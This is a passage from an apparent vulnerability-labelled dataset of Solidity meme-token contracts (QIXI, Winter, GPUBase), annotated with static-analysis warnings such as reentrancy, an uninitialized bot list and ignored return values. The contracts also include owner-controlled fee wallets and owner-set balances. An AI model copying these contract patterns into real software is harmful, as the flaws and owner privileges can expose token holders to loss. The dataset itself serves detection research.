_tOwned[addrs[i]] = 100 * 10 ** _decimals;\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: baf85d4\n\t\t// reentrancy-events | ID: 460ffa6\n\t\t// reentrancy-benign | ID: 3affe9b\n\t\t// reentrancy-eth | ID: 53ecb36\n\t\t// reentrancy-eth | ID: a77ddc2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: db819d1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for db819d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6ceb83d): QIXI.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6ceb83d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1a4d2e2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1a4d2e2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: db819d1\n\t\t// reentrancy-eth | ID: 1a4d2e2\n uniswapV2Pair = uuSendor = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n\n\t\t// reentrancy-benign | ID: db819d1\n\t\t// unused-return | ID: 6ceb83d\n\t\t// reentrancy-eth | ID: 1a4d2e2\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: db819d1\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1a4d2e2\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10748.sol",
"size_bytes": 20817,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1bc9cca): Winter.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 1bc9cca: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fb7abaa): Winter.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 2 * (_tTotal / 100)\n// Recommendation for fb7abaa: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 14a873e): Winter.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 14a873e: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 21475de): Winter.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 21475de: Consider ordering multiplication before division.\ncontract Winter is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 50b07bf): Winter.bots is never initialized. It is used in Winter._transfer(address,address,uint256)\n\t// Recommendation for 50b07bf: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a31899b): Winter._taxWallet should be immutable \n\t// Recommendation for a31899b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 06a73ca): Winter._initialBuyTax should be constant \n\t// Recommendation for 06a73ca: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 597a81b): Winter._initialSellTax should be constant \n\t// Recommendation for 597a81b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: d6eb790): Winter._finalBuyTax should be constant \n\t// Recommendation for d6eb790: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 657be36): Winter._finalSellTax should be constant \n\t// Recommendation for 657be36: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 339b4bc): Winter._reduceBuyTaxAt should be constant \n\t// Recommendation for 339b4bc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 92a2981): Winter._reduceSellTaxAt should be constant \n\t// Recommendation for 92a2981: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59007a0): Winter._preventSwapBefore should be constant \n\t// Recommendation for 59007a0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Winter | Ivanka Trump's Dog\";\n\n string private constant _symbol = unicode\"WINTER\";\n\n\t// divide-before-multiply | ID: 14a873e\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 1bc9cca\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 28e8f52): Winter._taxSwapThreshold should be constant \n\t// Recommendation for 28e8f52: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 21475de\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 526895e): Winter._maxTaxSwap should be constant \n\t// Recommendation for 526895e: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: fb7abaa\n uint256 public _maxTaxSwap = 2 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x130186dcBc38Abb1133B30DB978d6567AF96ffF6);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a33f7d1): Winter.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a33f7d1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5507821): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5507821: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6ceba2b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6ceba2b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5507821\n\t\t// reentrancy-benign | ID: 6ceba2b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5507821\n\t\t// reentrancy-benign | ID: 6ceba2b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a7ff9c4): Winter._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a7ff9c4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6ceba2b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5507821\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d916ff2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d916ff2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 50b07bf): Winter.bots is never initialized. It is used in Winter._transfer(address,address,uint256)\n\t// Recommendation for 50b07bf: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 187c20a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 187c20a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d916ff2\n\t\t\t\t// reentrancy-eth | ID: 187c20a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d916ff2\n\t\t\t\t\t// reentrancy-eth | ID: 187c20a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 187c20a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 187c20a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 187c20a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d916ff2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 187c20a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 187c20a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d916ff2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d916ff2\n\t\t// reentrancy-events | ID: 5507821\n\t\t// reentrancy-benign | ID: 6ceba2b\n\t\t// reentrancy-eth | ID: 187c20a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d916ff2\n\t\t// reentrancy-events | ID: 5507821\n\t\t// reentrancy-eth | ID: 187c20a\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7f861e2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7f861e2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 06b99de): Winter.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 06b99de: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b155859): Winter.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b155859: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 71811e9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 71811e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7f861e2\n\t\t// reentrancy-eth | ID: 71811e9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7f861e2\n\t\t// unused-return | ID: 06b99de\n\t\t// reentrancy-eth | ID: 71811e9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7f861e2\n\t\t// unused-return | ID: b155859\n\t\t// reentrancy-eth | ID: 71811e9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7f861e2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 71811e9\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10749.sol",
"size_bytes": 21800,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"New owner is zero\");\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"Transfer exceeds allowance\");\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n }\n\n _transfer(sender, recipient, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"Allow: decreased below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: zero address\");\n\n require(recipient != address(0), \"ERC20: zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(senderBalance >= amount, \"Exceeds balance\");\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 56bb6d0\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 56bb6d0\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 1eab551\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply + amount;\n\n _balances[account] = _balances[account] + amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"Burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply = _totalSupply - amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: zero address\");\n\n require(spender != address(0), \"ERC20: zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract GPUBase is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: f128936): GPUBase.buyFee should be constant \n\t// Recommendation for f128936: Add the 'constant' attribute to state variables that never change.\n uint256 public buyFee = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4703151): GPUBase.sellFee should be constant \n\t// Recommendation for 4703151: Add the 'constant' attribute to state variables that never change.\n uint256 public sellFee = 5;\n\n address private immutable marketingWallet;\n\n address private immutable stakingWallet;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5f77c5a): GPUBase.uniswapV2Pair should be immutable \n\t// Recommendation for 5f77c5a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8801239): GPUBase.DEAD should be constant \n\t// Recommendation for 8801239: Add the 'constant' attribute to state variables that never change.\n address private DEAD = 0x000000000000000000000000000000000000dEaD;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b3dd68): GPUBase.swapTokensAtAmount should be immutable \n\t// Recommendation for 2b3dd68: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public swapTokensAtAmount;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedFromMaxWalletLimit;\n\n\t// WARNING Optimization Issue (constable-states | ID: a64e1a7): GPUBase.maxWalletLimitRate should be constant \n\t// Recommendation for a64e1a7: Add the 'constant' attribute to state variables that never change.\n uint256 private maxWalletLimitRate = 20;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 50d29ab): GPUBase.constructor(address,address)._marketingWallet lacks a zerocheck on \t marketingWallet = _marketingWallet\n\t// Recommendation for 50d29ab: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9325f13): GPUBase.constructor(address,address)._stakingWallet lacks a zerocheck on \t stakingWallet = _stakingWallet\n\t// Recommendation for 9325f13: Check that the address is not zero.\n constructor(\n address _marketingWallet,\n address _stakingWallet\n ) ERC20(\"GPUBase Network\", \"GPUBase\") {\n\t\t// missing-zero-check | ID: 50d29ab\n marketingWallet = _marketingWallet;\n\n\t\t// missing-zero-check | ID: 9325f13\n stakingWallet = _stakingWallet;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = _uniswapV2Pair;\n\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[DEAD] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromMaxWalletLimit[owner()] = true;\n\n 